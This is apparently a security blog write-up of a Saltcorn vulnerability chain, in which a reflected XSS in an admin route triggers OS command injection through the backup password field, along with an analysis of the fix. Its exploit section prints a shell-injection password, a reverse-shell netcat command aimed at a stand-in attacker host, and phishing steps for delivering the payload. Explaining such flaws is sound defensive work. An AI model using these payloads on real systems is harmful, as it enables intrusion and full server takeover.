Saltcorn's Salty Surprise: From Reflected XSS to Root Shell
Jan 28, 2026·5 min read·3 visits
Executive Summary (TL;DR)
Saltcorn versions > 1.3.0 contain a critical RCE chain. An attacker can craft a malicious URL that, when visited by an admin, uses XSS to trigger a backup operation. This backup operation allows OS command injection via the password field, granting full shell access.
A chained vulnerability in the Saltcorn no-code platform allows unauthenticated attackers to achieve Remote Code Execution (RCE) by tricking an administrator into clicking a link. The exploit combines a mundane Reflected XSS with a critical OS Command Injection in the backup subsystem.
The Hook: No-Code, No Security?
Saltcorn is an open-source "no-code" database builder that lets you build applications without writing SQL or Javascript. Ideally, it empowers users to build tools quickly. Realistically, it empowers attackers to get shells quickly if you aren't careful.
This specific vulnerability is a classic "1-click" RCE. It doesn't require the attacker to have credentials; it just requires a logged-in administrator to have a moment of weakness and click a link they shouldn't. It is the digital equivalent of someone knocking on your door, asking you to open a window, and then climbing through that window to empty your safe.
The beauty (and horror) of this exploit lies in the chain. Separately, the bugs are annoying. Together, they are catastrophic. We are looking at a Reflected Cross-Site Scripting (XSS) vulnerability that acts as the delivery mechanism for an OS Command Injection payload deep within the system's backup functionality.
The Flaw: Interpolation is the Root of All Evil
Let's break down the two components of this disaster chain.
The Delivery (XSS): The first flaw is in the administrative route GET /admin/edit-codepage/:name. The application takes the name parameter from the URL and slaps it directly into the HTML breadcrumbs without adequate sanitization or encoding. This is textbook CWE-79. If you put <script>alert(1)</script> in the URL, the browser executes it. On its own, this is just a nuisance—maybe session hijacking if you're lucky.
The Payload (Command Injection): The real meat is in the backup system. When an admin triggers a backup, they can optionally provide a password to encrypt the resulting ZIP file. The application used Node.js's child_process.exec() to run the system zip binary.
Here is the fatal mistake: instead of passing arguments safely, the code constructed a shell command string using string interpolation. It took the user-supplied password and dropped it right into the command line. If that password contains shell metacharacters (like ; or $()), the shell interprets them. It is essentially an open terminal prompt disguised as a password field.
The Code: The Smoking Gun
Let's look at the vulnerable code in packages/saltcorn-admin-models/models/backup.ts. This is what I like to call "Resume Generating Code".
// The Vulnerable Logic
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: folder }, (error: any) => {
// ... callback hell ...
});Do you see it? The backup_password is wrapped in double quotes, but that doesn't stop us. If I set my password to "; $(id); ", the resulting command becomes:
zip -5 -rq -P ""; $(id); "" "/path/to/zip" .
The shell sees:
- Run
zipwith an empty password. - Run
id(or whatever malicious command I want). - Run a nonsense command with the remaining arguments.
Using exec() with user input is like holding a firecracker with a closed fist. It might be fine 99 times out of 100, but that one time it isn't, you lose a hand.
The Exploit: Chaining the Beast
So how do we weaponize this? We can't just send a POST request to the backup endpoint because we aren't authenticated. We need the admin to do it for us. That's where the XSS comes in.
Here is the attack chain:
- Craft the Payload: We write a JavaScript payload that uses
fetch()to POST to/admin/backup. The body of this request contains our malicious password:"; nc -e /bin/sh attacker.com 4444; ". - Wrap it in XSS: We URL-encode this script and append it to the vulnerable URL:
http://target.com/admin/edit-codepage/<script>...payload...</script>. - Phish the Admin: Send the link to the admin via email, support ticket, or Slack.
- Execution: The admin clicks. The page loads. The script runs. The browser sends the backup request implicitly using the admin's cookies.
- Shell: The server receives the request, interpolates the "password" into the shell command, executes netcat, and connects back to our listener.
The Fix: Safe Spawning
The remediation in commit 1bf681e08c45719a52afcf3506fb5ec59f4974d5 effectively kills this bug class by abandoning exec() in favor of spawn().
Why does this matter? exec() spawns a shell (/bin/sh) to interpret the command string. spawn() executes the binary directly. When you use spawn(), you pass arguments as an array. The system passes these arguments directly to the process's argv, bypassing the shell entirely. There is no shell to interpret semicolons or subshells.
The Fixed Code:
const args = [
"-5",
"-rq",
...(backup_password ? [`-P`, backup_password] : []),
absZipPath,
".",
];
// No shell interpretation here!
const subprocess = spawn("zip", args, { cwd: folder });Additionally, the developers implemented a global sanitization middleware that scrubs input for common nasties. It's a belt-and-suspenders approach, which is exactly what you want when your pants have fallen down this publicly.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Saltcorn Saltcorn | >= 1.3.0 | 1.4.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (Command Injection) |
| Secondary CWE | CWE-79 (Reflected XSS) |
| CVSS Score | 9.6 (Critical) |
| Attack Vector | Network (User Interaction Required) |
| Impact | Full System Compromise |
| Affected Component | Backup Utility / Code Page Route |
MITRE ATT&CK Mapping
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.